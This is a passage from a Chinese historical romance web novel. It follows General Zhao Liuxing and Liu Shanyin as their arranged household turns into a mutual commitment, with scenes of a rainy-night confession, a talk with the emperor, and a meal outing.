不若他也不会那样向往北庭那么凄苦的地方。 赵留行不怕苦,他只怕不被人需要。 那么他需要她怎么做呢? 柳善因心事重重,她不管赵留行的愿望是真是假,只要他能说出口,就是他想要表达的想法,她便默默将这件事记挂在了心里,用一晚的时间去思量。 随之,将眼神从赵留行脸上挪开,柳善因翻过身就再未转回来。 赵留行却在 她转身后忽而睁开眼眸。 他并未睡着。他知晓柳善因在看他,便在女郎背过身后,转眸望向了她。 赵留行仍在回味柳善因带给她的和煦与安稳。 他承认他贪了心,也动了念,可他并不后悔说出那句话。他是明知不可能,才会这样洒脱地表达。他很是清楚如果现在不讲,那这辈子就再没机会讲了…… 彼之,夜晚被月色照亮,花香萦绕轩窗,两个人都默契着无法安眠。 很久很久之后,大抵三更天的时候,娃娃的哼唧声渐起,他们又默契地睁开眼。只见赵留行掀起了被,柳善因翻下了床,两人在昏黄的房间里四目相望。 “我来吧。” “我去吧。” 不知为何,气氛有些尴尬。 赵留行抢先抱起小家伙,他知道她也睡不着,便来到柳善因面前轻声说道:“那就一块过去吧。” “好。”柳善因点头应道。 两个人就这么抱着孩子出了屋,去到了书房那端,将孩子交给了乳娘- 随后坐在书房不远处的门廊,柳善因拢了拢自己单薄的衣衫,打眼望去院中被风吹动的树梢入了神。她不说话,也没察觉身边人来了又走。 直到那件宽大的衣袍,被人从屋里拿出披在了自己肩上,替她挡去了风寒,她才恍然回头,嗅到了衣袍上那熟悉的味道。柳善因轻声唤:“赵赵将军。” 赵留行坐去了她身边哑声说:“夜里风凉,莫感风寒。我只找到了我的衣衫,你别嫌弃。” 柳善因使劲摇摇头,“怎么会呢?谢谢赵赵将军。” 赵留行没再接腔。 夜色太深,深到柳善因举目瞧不清赵留行的模样,她张口和他随意攀谈:“赵赵将军也睡不着吗?” 赵留行嗯了一声,眼神里满是淡然。 柳善因闻言收回目光,将双手在腹前紧握,她忍不住把掌心搓得通红,就好像在纠结着什么……赵留行在旁无言,怎料,身旁人憋了半天竟冷不丁抛出这样一句话。 “赵赵将军,如果你想的话……” “我可以留下。” 柳善因似是下了很大的决心,然赵留行恍惚回眸,却是半晌没说话。 第50章 第50章我回来了 夜里的小院很静,树叶沙沙作响,掩盖住二人轻浅的呼吸。 柳善因不说假话,她也并非一时兴起,她适才躺在床上一直思量,自己欠了眼前人那么多,总说一定要将他报答,可呆头呆脑,一无所长的她究竟要拿什么报答? 连她自己也不知道。 她想兴许这就是地姥娘娘给她的机会,不若她实在想不出比这更好的办法。所以,当下只要他眼前人一句肯定的话,她就愿意留在他身边陪着他。 更何况,赵赵将军还是个很好的人。 他对自己很好,对小宝很好。她跟着他,也不会太差。 这时间,廊前只有一盏烛火还亮着。赵留行眼中的女郎低垂着眉目,碎发零落,略显局促。他起初脑子还有些懵,可等冷静下来,他便大抵猜到了其中的原由。 瞧他沉默许久才唤了声:“小柳。” “我在。”柳善因战战兢兢地抬头。 赵留行却异常平静地问她,“你说这些,是想报答我对吧。” 柳善因闪躲起赵留行的目光,她不想说得太过直白让对面人难堪,赶忙否认道:“不,不是的,没有…我只是今天听你说……哎呀,如果是我误会了赵赵将军的意思,赵赵将军就当我说胡话就好。” 赵留行敛去目光,应声时倒也坦荡。 他直言:“你没有误会,我是认真的。但是小柳,倘若你仅仅是为了报答我,而因此委屈自己,大可不必这样。我不需要。今天的话如果给你造成了困扰,我向你道歉。你其实不欠我什么,所以,你也不必说违心的话,做违心的决定。” 柳善因披衣愣在原地,赵赵将军果然是个很好的人。 她见眼前人如此真诚,自己也不再好装模作样,便诚实答曰:“是……我是想报答赵赵将军。” “对不起,是我唐突了。” 柳善因将答案说出口的那瞬,赵留行平淡的眼眸中竟闪过几分不易察觉的失落。 果然,一切还是和从前一样, 很多东西他都留不住,很多东西也不属于他。 但能与眼前人度过有史以来生命中最幸福的一天,他已甚是知足。 赵留行轻轻叹了口气,他盘算着时间在乳娘推门前,沉声与柳善因言语:“你放心,我原先答应你的一定会做到。我会尽快结束洛阳的事,把你们送去安全的地方。” 柳善因闻言起身欲言又止,她想多说些什么。 可当所有复杂的情绪汇聚在一起,最终说出口的便只剩一句怯懦的:“好……” 陈旧的木门在夜里转动,赵留行像往常一样起身去将孩子接走,默默转身朝屋里行去。彼时,柳善因无言立在廊下,明明眼前人以礼相待,一心为她着想,却并未换来她的如释重负。 赵留行诚恳的拒绝,也让她过意不去。 晚风四起,落叶低旋,柳善因怔在原地很久都未曾离开- 翌日一早,柳善因从床上起身,下意识掀帘往屋里望,却发现地上早就空荡荡。 今日休沐,一大早的人去哪了……难不成是为昨晚的事? 可昨晚上不都说清楚了吗? 柳善因有些茫然,等她才刚抬脚下床,长夏就在外头敲了门,“夫人,您起了吗?” 柳善因抬头瞧向门外,轻声说:“起了,进来吧。” 长夏得了准允,推门而入。 她打眼看见柳善因坐在床边,立刻笑着和眼前人有一搭没一搭地闲聊起来,“我来给您送小郎君晾晒好的衣裳——诶,今日好不容易休沐,三郎君和夫人还不好好休息休息?怎么都起的这般早?” 柳善因一听她提及赵留行,赶忙追问:“将军在哪呢?” “将军?”长夏愣了愣神,“哦,您说三郎君啊,他一大早就出门去了,说是……” “说是去骑射场练箭了,您不知道吗?” 柳善因懵着脑袋垂眸坐在床边摇了摇头,她想赵赵将军还从未这样一声不吭的离开过。 她有些挂心。 长夏见状连忙搭腔,“那大抵是三郎君怕打扰夫人睡觉,没跟您说。没事的,三郎君出去了得有一个多时辰,约摸着晌午前就能回来。” 话音落去,屋里一片死寂。 长夏也跟着闭起嘴巴,她早起瞧着赵留行那个死气沉沉的鬼样子就觉得纳闷,现下又看见垂头丧气的柳善因,便更加笃定这俩人有问题。 可昨日生辰不是好好的?怎么过了一夜就成这样了? 还能是又吵架了? 也是,就赵老三那个臭脾气,搁谁跟他过日子能不急眼的! 长夏边忙着手里的活计,边犯起嘀咕。谁成想说曹操曹操到,消失一早上的赵留行,忽然出现在了屋门外头,叫长夏瞧见脱口而出一句:“三郎君!” 柳善因循声望见来人身影,下意识起身追去喊了声:“赵赵将军。” 赵留行为她停下脚步,长夏趁势识相离开。明媚的门廊便只剩了他们俩,柳善因站在他的身后,主动搭话:“赵赵将军一大早去哪里了?听长夏说你去骑射场了?怎么不跟我说一声……” 赵留行面朝着厢房的方向,不敢去看女郎真挚的目光。 他垂了眸,没回答柳善因的话。 他只告诉她,“昨日忘记与你说九郎家里有事,我跟他换了值,得到宫里呆两天。” 胡扯,他明明和郑洛均是同一日上值的,何来换值之说? 他就是欺负柳善因什么都不知道。 偏柳善因还傻傻信了他,“哦,这样啊…那赵赵将军注意身体,记得按时吃饭,别太劳累了。你不用操心我们,家里现在有狗子们护卫,安全得很呢。” “我知道 了。“赵留行声音淡淡。 柳善因见他疾步离开,完全摸不清头脑,眼前人好似一夜之间变了模样,她看得出赵留行有些失意,因为她眼中他的背影就跟初见时一样落寞。 赵留行关上厢房的门,默然站在了门后边。他透过门缝向外望,女郎就那么呆呆地站着。 他其实不是故意这样对待柳善因,他是怕和她离得太近,离别的时候会太难堪。他只能不断地克制,不断地隐忍。可他觉得自己这不是逃避,只是去适应没有柳善因的生活而已。 厢房外,柳善因听见寝屋内传来几声娃娃的哼叫,这才回神离开…… 赵留行便也敛下目光,更衣而去- 两日后,赵留行在玉川苑随侍的时候,正赶上王城落雨。 急雨催花,帝王才刚在苑中挥毫画起牡丹,雨水就将他的兴致全部冲散。 贺鹮归撂了笔,宫人纷纷打起精神,小心侍奉。 他却拂袖一挥,朝对面的玉熙亭走去。 段翁见状心领神会,随即同周遭随侍的人吩咐:“圣上今日不画牡丹,改听雨了。” 众人便连忙追了过去。 赵留行跟在队伍两边,整个人看上去心神恍惚,眼神更是黯淡无光。等在玉熙亭的檐下站定脚步,他的思绪早就随着天边的阴云,和连绵不绝的雨一起飘向宫外。 下雨了,家中是否安好? 寝屋的窗户可有关好?小宝近两日有没有哭闹? 她夜里有没有把被子盖好…… 赵留行不知不觉中有了好多牵挂。往前的他,心中只有生与死,活得就像个空洞的壳。现在的他,有了可以回的家,有了惦念的事,好似才算得个人。 可惜却不能长久。 雨声啪嗒啪嗒响,一遍遍将他的心神冲刷。 赵留行出了神,就连有人到了身旁,他竟也没察觉。 贺鹮归环起双臂,与之望向同一片天空。帝王不喜雨天,便不由得蹙起眉头,贺鹮归忽而问赵留行,“两日了,赵卿缘何总是这么心不在焉?” 赵留行闻言回神慌忙抱拳道是:“臣失职,还请圣上责罚。” 贺鹮归竟淡定地压下了他的拳头,“赵卿不必紧张,朕与赵卿都是一家人,不说两家话。” 帝王所言非虚。赵留行和贺鹮归确实能算得上一家,且不说赵留行的继母是长公主,就是他那小姑如今也成了帝王的淑妃娘子,贺鹮归便也是他的半个姑丈与舅父。 可尽管如此,帝王脾性难定,深不可测,赵留行还是对他有所敬畏。 赵留行缓缓放下手臂,没再说话。 贺鹮归却继续追问:“赵卿还没回答朕的问题呢?” 赵留行闻言望去苑中百花齐放,忽而反问他了句:“圣上,有没有后悔的事?” 眼前人跟他们不一样,性子直,没坏心。贺鹮归了解他,便没跟赵留行计较什么冒犯不冒犯。他反正闲来无事,便随口答曰:“有。朕也是人,是人就会有后悔的事。” 赵留行刚想为自己的冒犯致歉,但听眼前人这么说,他赶忙止语。 贺鹮归没看他,只是一味望向那块飘向北方的乌云,“朕这辈子做过最后悔的事,就是放任某人离开。赵卿,你要知道有些人一旦从身边错过,就不会回头了。” 贺鹮归的声音暗哑,他的心里似乎也藏着很重的心事。可至于贺鹮归为什么愿意和他说这些,赵留行不得而知,他在贺鹮归的话语里想到自己,下意识去问:“圣上,还放不下吗?” 雨水渐进玉熙亭,贺鹮归站在檐下没有躲避。 他坦言:“失去的时候,只顾着痛心疾首。等悔意透进骨子里,就是想放下也难了。赵卿应是不明白,放下怕把人给忘了,不放下又只能一遍遍于事无补地责怪自己的那种滋味吧。” 贺鹮归言至此处忽而冷笑。 他凝眸远去,眼中全是某人的身影。 此刻的他,不再是群臣眼中的无情帝王,而是个有血有肉的人。 赵留行闻言望向雾蒙蒙的雨天,陷入沉思,他似乎无法想象失去柳善因之后的日子该怎么过,可他却也不知到底应该怎么做,才能不悔……- 入夜,窗外风雨潇潇,雨打芭蕉。 赵留行两日未曾归家,今天就是天黑透了也没捎个信来,叫柳善因一直担心到半夜才堪堪背对着床帐睡着。 夜里的风雨更盛,压住了所有细碎的响。 柳善因睡得迷糊,连有人推门而入,都误以为是雨声作祟。 她压着小脸呼呼睡,梦中还梦到赵留行和她说回来了。全然不知有只强劲的大掌,已经悄悄掀开了她的帘帐。 那人趁夜而来,顺势躺在床边,把床上熟睡的女郎明目张胆拥入怀中,还将脸埋进了她温暖的脖颈。 柳善因被身后人的动作弄醒,诧然睁开双眼,却闻有人在颈后低语道:“小柳……” “我回来了。”【你现在阅读的是魔蝎小说 moxiexs】 50-60 第51章 第51章羊入虎口 赵留行归家时踏雨疾行,湿漉的头发和冰冷的甲衣贴上女郎轻盈的后背,贴得女郎脊背发凉。可柳善因却僵着身子不敢妄动,她不知赵赵将军是吃醉了酒?还是抽哪门子风? 缘何要悄默声爬上她的床,还对她这个样! 柳善因绷直了脚背,像块矮矮的木头桩。被赵留行这么一折腾,她也不困了,可等她刚想睁大眼睛想跟平常一样去唤赵赵将军,赵留行便在她身后忽然沉声相问:“你的话还作数吗?” 身后人张口时没有酒气,他清醒得很。 只是…… 什么话还作数吗? 柳善因迷迷糊糊地不知其解。她这笨笨脑子有个好处,也有个坏处,那便是开心的不开心的事,她只要睡上两觉就能忘个干净。 合着赵留行恍恍惚惚两日心神不宁,家中这位竟全然把那晚的事全然抛在脑后了! 赵留行嗅着柳善因身上清浅的香,杂乱的思绪瞬间被抚平。他的私心终究大过了理智,他将身前人越搂越紧,“小柳,你说我自私也好,骂我是个趁人之危的小人也罢,我只想告诉你……” “我反悔了。我收回那晚说过的话,我不会让你离开我了。” “离家的这两日,我没有一刻不在想你。我也尝试过回到从前,可我发现,我根本无法想象没有你的生活。我想成为你的家人,想和你永远在一起,哪怕你一辈子不会爱上我,一辈子只把我当做是报恩的赵赵将军都没关系,我会一直爱你敬你,和你一起认真照顾小宝长大。” “我知跟我在一起会有些麻烦,但我发誓,我就是豁出命,也一定护好小宝,护好你。” 家人!? 也不知柳徽听了这话会作何感想,简直是引狼入室! 可赵留行坦坦荡荡,把心里的想法全部告知。他的声音很轻,却句句掷地有声。谁能想到顶天立地,气冲霄汉的赵赵将军居然能说出如此肉麻的情话! 可很显然他的耿直和不遮掩,有些吓傻了胆小的女郎。 柳善因这辈子头一遭被人求爱,居然还是在床铺之上,叫她一时不知该如何是好。 她羞红了脸,把头躲在被子里不敢出声,得好好缓缓。 柳善因有些发懵,怎么才过了两日人就变成这样了?那天他不是还义正严词地把自己给拒绝了?而且他不是亲口说不需要她这样,为何现在又反悔了? 男人真是善变的家伙! 赵留行等待半晌不见身前人应答,自然不会善罢甘休。 他私以为柳善因是睡着了,便疑惑着从她背后抬起头,试探着唤了声:“小柳。” 柳善因依旧闷头不语。 赵留行见状伸手去拽她的被子,她却在里面紧紧拉着不放。赵留行这才知晓女郎压根没睡,适才自己说过的话,她全都听得到。只是柳善因劲儿再大,还能大得过大公牛? 以至于,还没跟赵留行拉扯两下,她便败下阵 来。 被子就好像张窗户纸,一捅就破。 柳善因那双眸子落在黑夜里,满是迷茫与惊慌。等她猝不及防跟赵留行对上眼神,便再也无处可逃。她吓得赶忙偏过头去,偏又被霸道的赵赵将军伸手转了回来。 赵留行手大,一把便将女郎的小脸掬成了个松鼠相,加之女郎亮晶晶的大眼,叫他垂眸看去欢喜得不得了。他赶忙趁势追问:“别躲,你还没回答我,那天说过的话可还作数?” 瞧赵留行这架势,今日是柳善因答应也得答应,不答应也得答应。 可那天晚上好似气氛在那,柳善因就是主动说想要留下,也没像今天这般羞耻尴尬。她真不知道这人想作甚!整了那么多弯弯绕绕,早答应了不好吗? 干什么要大半夜为难她! 柳善因的眸子扑扇来,扑扇去,最终还是噘着被赵留行掬起的小脸嘟嘟囔囔地应声说:“自,自然作数……但,但是拒绝我的,不是赵赵将军你吗?” 赵留行闻言盯着女郎略带几分嗔怪的样子,忍不住噗嗤一笑。 他也不知自己缘何会变成这样,他想自己明明是个什么都不会在乎的人,怎么现在只要想到自己若真将女郎傻傻地送走,便会心痛难忍。柳善因就好似成了照亮他心里的光,亦或者是他活着的念头。 从此刻起,他竟也开始惧怕死亡了。 柳善因望着赵留行不可多得的笑脸,冷不丁唤了声:“赵赵将军。” 赵留行顺势松去女郎的脸蛋,将手臂撑扶在她的身边应声道:“怎的?难不成你也想反悔?我与你说,晚了,我不会放你走的。” 赵留行与柳善因说笑。 柳善因却信以为真,连忙认真解释:“不是这样的,哥哥教过我,滴水之恩当涌泉相报,答应别人的事也一定要做到。赵赵将军只管放心,是我说过的话,就不会反悔!” 柳善因还真是把报恩当做种使命了,赵留行不知自己应当高兴,还是应当伤心…… 他眼下只顾满眼爱意地问:“那你叫我是想说什么?” 言语间,赵留行髻上滴落的水珠,正巧砸在了柳善因的鼻梁上,吓了她一激灵。她趁势眯眼笑道:“我,我是想说,赵赵将军你快起来擦擦干,免得着了凉。” 赵留行这才意识到自己居然湿着衣裳坐在女郎的床铺上,他怕过给女郎风寒,即刻从床上弹开。 柳善因便也跟着从床上坐了起来- 雨夜燃灯,别有一番风雅。 屋外的雨下起了雾,屋内的人暖起了心。 柳善因从柜子里寻了自己沐巾去到赵留行面前,想要给他擦擦头发,可她抬手甩了三两下,也没能将沐巾放到赵留行的头顶,而且每一次都精准无误地打在他的脸上。 “……” 二人双双陷入沉默。 “赵赵将军,不然还是你自己擦吧。”柳善因攥着毛巾有些不好意思。 赵留行被打得有些晕,便下意识接过沐巾应了声:“好。” 随后坐去桌边,柳善因趴在一旁的桌案上耷拉着脑袋问他,“把自己淋成这样,赵赵将军回家的时候怎么不撑把伞呢?我不是让你在那边留了把雨伞吗?” “着急见你,忘了带。”赵留行三言两语的回答,听得眼前人又将自己埋进了胳膊里,不再言语。 可擦着擦着,赵留行突然盯着手中柳善因平日用的沐巾,脸颊渐渐泛起羞意。 屋内的两人各有所思,但所思皆是你。 过了一会儿,柳善因忽而察觉到有人用东西盖住了自己。她抬头去看,赵留行正站在她身后,仔细擦拭着自己那被他染湿的头发,惹得她连忙说:“我自己来吧。” 赵留行却拒绝了柳善因,“没事,很快就好,你想继续趴着便趴着吧。” 身后人的温柔叫柳善因多少有些不适应,但她还是乖乖地坐着,任由她去触碰自己的头发。 赵留行手中的动作没停,他转而望向铺上那同样被自己染湿的地方沉声道:“抱歉,床也被我弄湿了,今天太晚,不若你就跟我在地铺上挤挤?等明天早上再叫长夏来换,反正你也不是没挤过。” “啊?不妨事,我睡床铺里面不乱动就好。”柳善因顺着赵留行的目光瞥去,没太在意。 赵留行闻言除了有些失落,也不好再多说什么- 夜里折腾一番,俩人终于在三更的最后一刻各自安眠。 彼之,柳善因已是困得睁不开眼,一沾上枕头就和着窗外的雨声稳稳睡去,然地铺上的赵留行却是几番翻来复去,没有丝毫睡意。他有些兴奋,亦有些难安。 他兴奋的是,只要能想到一辈子都和柳善因在一起,心里便会止不住地欢愉。他难安的是,自己本是受了人家的托付,结果却如此趁人之危爱上了人家的妹妹…实非君子所为…… 赵留行有些两难。 可等天色见亮,他居然把刚奶完的娃娃搁回自己的坐床后,又鬼鬼祟祟摸上了柳善因的床。可他这回没有乱动,只是躬身睡在女郎身后,替她掖好了被角。 赵留行离柳善因越近,就越觉得安稳。 二十年了,他还从未离幸福这样近过,以至于最后,他就差没将脑袋搁在人家柳善因的后脑勺上! 赵留行合上眼睛微微笑。 他不得不承认…抱歉柳徽兄,我就是个不折不扣的小人…… 柳善因睡觉难得老实,导致她今日睡到日上三竿也没发现自己身后有人。若不是她压酸了手臂,准备翻身换个姿势清醒清醒,估计很难察觉到赵留行的存在。 柳善因被身后人吓了一跳,瞬间清醒过来,赵赵将军怎么在床上! 她起初还没反应过来,等再想起昨晚上赵留行说过的话,和自己应下赵留行的事,这才恍然大悟。 她倒是没反悔,只是有些没缓过劲。 赵留行听见动静睁眼看向铺上躲自己很远的女郎,什么话也没讲,只不要脸地伸手一把将女郎揽在怀里,继续合眼睡去。柳善因的视线瞬间由明变暗,她闷在赵留行修长的颈脖里不敢轻举妄动。 “赵赵将军……该,该起床了。” 柳善因随即悄悄试探,妄图躲开他的怀抱。 没成想,人家压根没有放手的意思,女郎越想跑,他就越想追。只见赵留行用下巴抵住柳善因圆滚滚的脑袋,沉声说了句:“不急,小宝还没醒,再睡会儿。我今日不用上值,有的是时间。” 第52章 第52章善良的人 兴许是女郎的温柔乡让人沉醉,赵留行极少睡到太阳晒腚,等他朦朦胧胧睁开眼,身边的床铺已经变得空荡。柳善因啊,早就趁着他松懈的时候溜之大吉了。 跑哪去了?竟一刻也不愿和自己多呆? 赵留行坐起身,几多幽怨,可当不经意想起昨晚上柳善因答应自己的话,却笑得再也合不拢嘴巴。 他在这世间不再是孤零零一个人了。 他有家了。 赵留行抬手将二人弄乱的枕头默默摆好,转头便下了床。他洗漱完伸着懒腰出门,一抬眼就碰上乳娘抱着小家伙从对面出来,“诶,将军起了?我还说往后头找夫人去呢。” “把孩子给我吧,我正好要寻夫人。”赵留行放下手臂,三两步过去就将小家伙接了过来。 可算被他寻个由头找柳善因。 赵留行抱着小家伙神清气爽地说:“走了小宝,跟爹换完衣服往后院找娘去——” 乳娘瞧着主家这副模样,有些惊讶,要知道她来家中这些时日,还真没见过眼前人这样说过话。可她也没多言,只颔首跟赵留行交代:“那我就把孩子交给将军了,我跟夫人告了半日假回家给娃娃庆生,下午就回来。这会儿刚给小郎君喂过,再过半个多时辰给小郎君喂些糊糊,就能撑到我下午回来。” “哦,我知晓了。”赵留行点点头。 他没那么多事,况 且眼前人已经和女主人商量过,便是她们说的算。可等乳娘躬身告别,急匆匆往外走,他又忽然回头叫住了她,“诶,你等等。” 乳娘忐忑着转过头,难不成是主家不准假了? 不都说好了吗? 谁成想,赵留行竟当着她的面抱着孩子回了屋,乳娘站在廊下茫然不知解。一直待到主家回身行来,将半贯钱递到她眼前时,她才恍然大悟,原来主家是拿钱去了。 乳娘茫然去问:“我的工钱早就叫我预支走了,将军这是作甚?” 赵留行解释说:“我知道,但这不是给你的工钱,今日孩子生辰,算是我的一点心意,拿着回家给孩子买些东西,你们一家好好团圆团圆。这些时日也有劳你了。” 赵留行虽然脾性烈还倔,但从来都是爱憎分明,对事不对人。 他知道乳娘家娃娃身子不好,那些预支的工钱,约摸早就花进了那些苦的要命的汤药里,便想着趁势接济接济。 哪知道,乳娘百般推拒,“将军的好意我心领了,这钱太多了我不能要。您快收回去——您和夫人心善,从不苛待下人,能叫我碰上已是我莫大的福气。再说我做的都是分内事,而且您还给我涨了工钱,我哪有理由再多要您的钱!不得行,真的不得行!” 他的钱又送不出去了? 赵留行不罢休,他今日非得叫乳娘把这钱收下,便故作严肃道:“本将让你收下,你就收下。少说那些有的没的,这钱你若不收,今晚上你就不用回来了。” 眼前人一瞪眼,把人吓得够呛。乳娘先是疑惑着啊了一声,而后望着眼前人的脸不敢再去多言,战战兢兢伸手将钱接下,“既是如此,那就多谢将军了……” 赵留行见状摆摆手,转身朝厢房走去。 彼之,乳娘一人立在廊下看着手里沉甸甸的铜板,愣了许久才转身离开- 厢房内,赵留行将小家伙轻轻搁在铺上,顺势去脱身上的衣裳。今日他倒大方,没将娃娃的眼睛遮去,可小家伙一见他换衣裳就又开始伸手要抱,一刻也不让他闲着。 娃娃也知晓眼前人的怀抱最是舒服,才总是要他抱。 赵留行如今有了当爹的样,他看着小家伙的无赖相没恼没怨,只等光着膀子轻声说:“给我坐好,别乱动。我马上就好,少抱一会儿不成吗?” 小家伙哪管他好不好,拽着他的裤腿就要往他身上爬。 赵留行实在没了办法只能拿着干净衣裳坐去了床铺边,只是这下可好,叫小家伙逮住机会伸手就要往那熟悉的地方抓去,还好赵留行眼疾手快,一把便握住了那只邪恶的小手。 “怎的?还想偷袭我?” 赵留行按着小家伙纳闷不已,心想这小子是不是又没吃饱?小家伙气得哼哼叫,压根容不得赵留行多想,他便赶忙穿上衣裳,抱着小家伙往屋外行去- 与此同时的小菜园里,柳善因顶着大太阳蹲在地上认认真真地拔草。 前几日的青菜吃完了,新的菜种便又已经种上。 柳善因人可能是笨了些,但这种菜的本事,却是炉火纯青。只要是她亲手种出或是照料的东西,全都长得旺旺的,跟她一样喜人的很。就连土酥都说她种的菜,比市面上卖的还要好,若是产量再大些,卖给王城那些有名的酒楼,指定能卖个好价钱! 天光烈烈,晒得女郎脸红扑扑的,头也晕乎乎的。 柳善因不知为何忽然盯着地里的蚯蚓发起了呆,当思绪飘去昨晚的风雨之中,她那脑袋瓜又开始乱转起来。她这就要跟赵赵将军呆上一辈子了? 赵赵将军将来还会娶媳妇吗? 她看云香县的县令大人还娶了三个媳妇呢!像赵赵将军这么有身份的人,岂不是得娶上好几个!? 想至此处,柳善因失落落地低下头,狠狠拔下一株杂草解气。她虽有些不甘愿,但就算是真娶,也都是赵赵将军自己的决定。她个报恩的女郎,哪有权利干涉太多…… 柳善因凭白叹了口气,可等思量起一桩更现实更严峻的事后,瞬间变得不淡定。 既是要在一起过一辈子, 那将来自己岂不是还要跟赵赵将军一起生孩子! 柳善因越想越羞,今早起那样和赵赵将军抱在一起,她已是浑身起鸡皮疙瘩,难受得不行。 若是…若是……做那种事!啊——报恩真的好难。 柳善因边想手里的动作也没停,瞧她拔着拔着,竟抡圆了胳膊左右开工,将一把把杂草丢在身旁,所到之处可谓寸草不生,叫身后哄着娃娃走来的赵留行惊诧不已。 “小宝瞧瞧阿娘在干嘛?” 他站在菜园子边定睛往地上瞧,大惑不解道:“小柳你这是?” 柳善因听见赵留行的声音,登时冷静下来,抡出火星子的手臂也跟着垂在膝头。她压根不敢回头看赵留行,她怕自己看见他就会冒出一些奇怪的想法,便小声说:“我在拔草。” 赵留行闻言皱了皱眉头,不由得脊背发凉,他道:“拔,拔草?那小柳还真是斩草除根呢……”- 午时将近,赵留行打进了后院,就一直站在菜园子边目不转睛盯着柳善因看,没去打扰柳善因的雅兴,他只看着她就高兴,却不知自己把身前人看得不好意思站起身来。 可柳善因一直这么蹲着也不是办法,再蹲下去要中暑不说,两只腿也吃不消。 她无奈咬咬牙猛地站了起来,偏把赵留行吓了一跳。 约摸着是蹲得太久,亦或者是起得太猛,柳善因才堪堪起身,身体就不听使唤地向后跌去。好在赵留行人高马大,抵住了跌来的女郎。 柳善因仰面倒在他身上,恰好与之四目相对在一起。 这下可好,她这躲过来躲过去,终是难逃一劫,还把自己陷入如此尴尬地境地。 赵留行垂眸望着身前憨态可掬的柳善因,再也挪不开眼,他居然开始明目张胆注视起她来。 他笑着问女郎,“草除完了?饿吗?” 柳善因缓过神,慌忙从赵留行的身上离开,点点头乖巧应道:“赵赵将军饿了吗?土酥出去办事快回来了,你若等不及,想吃什么我给你做。家里还有好些东西可以煮。” 赵留行摇摇头,没叫女郎为他洗手作羹汤。 他抬眼往墙外的晴空一瞧,即刻朗声道:“做什么饭?走,今日天气正好,带你出去吃。” 柳善因闻言想跟赵留行说别破费了。 赵留行却已经抱着孩子二话不说转头离去,他是知晓了她的脾性,这才在她跟自己客气之前,抢占先机。柳善因望着他离去的背影,自知拧不过,赶忙到水缸边洗洗手追了上去。 二人行至与前院相通的连廊,赵留行猛然停下脚步,去看身后的女郎。 柳善因也茫然看他。 赵留行忽而开口:“能牵着你一块走吗?” 牵手?这人现在倒是礼貌,早起悄悄爬上自己床铺,还偷偷抱她的时候怎么不礼貌礼貌呢? 柳善因眨眨眼,伸出手掌时没想太多,也没拒绝,她只说:“可是我的手很湿。” 她本以为赵留行会就此作罢。 没成想,人家竟与她说:“我不在乎。” 话音落去,赵留行握起柳善因湿漉漉的手掌,往自己胸口的干净处蹭了蹭,没有半分在意,他直言:“擦干不就好了,那只手可要擦擦?”却不见女郎涨红了脸。 好,好健硕的胸膛…… 柳善因一只手被迫按在赵留行胸前,一只手赶忙往自己裙摆上蹭了蹭,“不用了,不用了。已经擦干了!” 赵留行见状这才作罢,他转头抓着柳善因的小手,一脸得意地往外头去。 来到前院时,二人又正正巧碰上长夏。 “诶,夫人郎君好啊——你们这是打算出门去?”长夏拿着掸 子刚准备到寝屋去打扫,一抬眼就瞧见主家牵着手前后走来,不由得多看了两眼。 赵留行闻言嗯了一声,没多搭理。 柳善因却接茬说:“长夏,我们出去一趟中午就不回来吃饭了,麻烦你等土酥回来跟她说上一声。” 长夏点点头,“好,夫人放心,我记着了。” 随后目送着二人亲密的背影远去,长夏站在院中不由得眯眼笑起,瞧瞧,瞧瞧,她就说夫妻哪有隔夜的仇?这吵吵架,也总得和好的嘛,干什么那天瞧上去非得弄得跟老死不相往来一样!- 俩人要去的酒楼离家不远,大抵半刻钟便到。 一路上赵留行牵着柳善因不松,就跟生怕她丢了似的。柳善因有些害羞,尽管他们不是第一次牵手,但这回的感觉不一样,上一遭在探春宴上,她可还没想着自己要跟眼前人过一辈子…… 赵留行牵她牵得紧,才刚擦干的掌心,就被其握出了汗。 柳善因动动手指,赵留行却忽然停了下来。 “怎么了赵赵将军?是到了吗?”柳善因惑而无解,赵留行盯着路边的饮子铺张口说,“天气炎热,你且等等,你上回不是说这家的饮子好喝,我进去给你买些带上。” 赵留行说罢松开柳善因兀自朝铺中寻去,放她在街边默默等待。 柳善因立在铺子外头,下意识盯着自己那只被赵留行牵过的手掌愣神,她仍能感受到赵留行留给她的温度,以及他掌心粗糙的纹路,那是一双常年握刀的手,却在握起她时那样温柔。 柳善因莫名想起柳徽,她想哥哥一定能理解她的选择吧…… 一夜雨过天晴,今日的日头着实大了些。 柳善因敛去掌心,一边等人,一边漫无目的向街边望。 她便这才注意到身前有个不起眼的小摊。 只瞧街上行人来往络绎不绝,却并未有一人为那小摊,以及那小摊上的阿婆驻足。 炽热的天光打在女郎脸上,叫柳善因不由得眯眯眼。 她看到阿婆朴素整洁,摊位上卖着各色青叶菜,但品相都不是太好。王城这样的地界,富贵锦绣,人们的吃穿住行大多好而精,阿婆的菜便显得有些格格不入。 “这些都是老人家您自己种的吗?”柳善因见无人光顾,主动蹲去了小摊旁,帮着阿婆瞧瞧。 “是,是。娘子莫看老婆子的菜品相不好,但新鲜的很呢。都是今早刚摘的,一文钱一斤。”阿婆见有人光顾,赶忙笑脸相迎,柳善因开始没多言,只说,“那阿婆这里有多少,我全要了。” 她知晓今日她若不买,阿婆这菜估计一日也卖不出去。 “娘子全要?”阿婆不敢置信。 柳善因点点头,说着就准备往袖子里掏钱,“是呢,阿婆帮我包起来吧。” “好好。”阿婆赶忙抽出油纸,替柳善因打包这约莫四斤有余的青菜,她说,“这些菜娘子就给三文钱吧。” 柳善因掂量掂量,掏出五文钱递去,“给您,该是多少就是多少。” 两口子还真是如出一辙的良善,阿婆看着柳善因颤颤将钱接下,不听道谢:“多谢娘子,多谢娘子。” 柳善因笑着接过青菜,没急着走。 她伸手帮阿婆卷起地上铺着的粗布,垂眸盯着上头零落的青叶菜不经意道:“阿婆,以后菜上若再生菜虫,您可以将新鲜艾蒿切碎煮两刻钟后,将其放凉再洒到菜地里,以防虫害。” 阿婆闻言不可思议地望向柳善因,“娘子竟然还懂这些,您真是人美心善。老身记下了。” 柳善因微微笑说:“没,没什么,能帮到阿婆就好。” 阿婆望着女郎纯真善良的模样,实在有些喜欢,瞧她思量半晌忍不住相问:“娘子瞧着不大,还未成家吧?老身家中的孙儿和娘子差不多年纪,若娘子还未成家,可否与我家孙儿认识认识?” “他是个读书人,长得也算清秀。这不在老家中了举,今年来京赶考。我家孙儿也是孝顺,他实在不放心我这老婆子一人在家,便带着我一块来了王城。我出来卖菜也是想贴补些家用,叫他安心应考。” 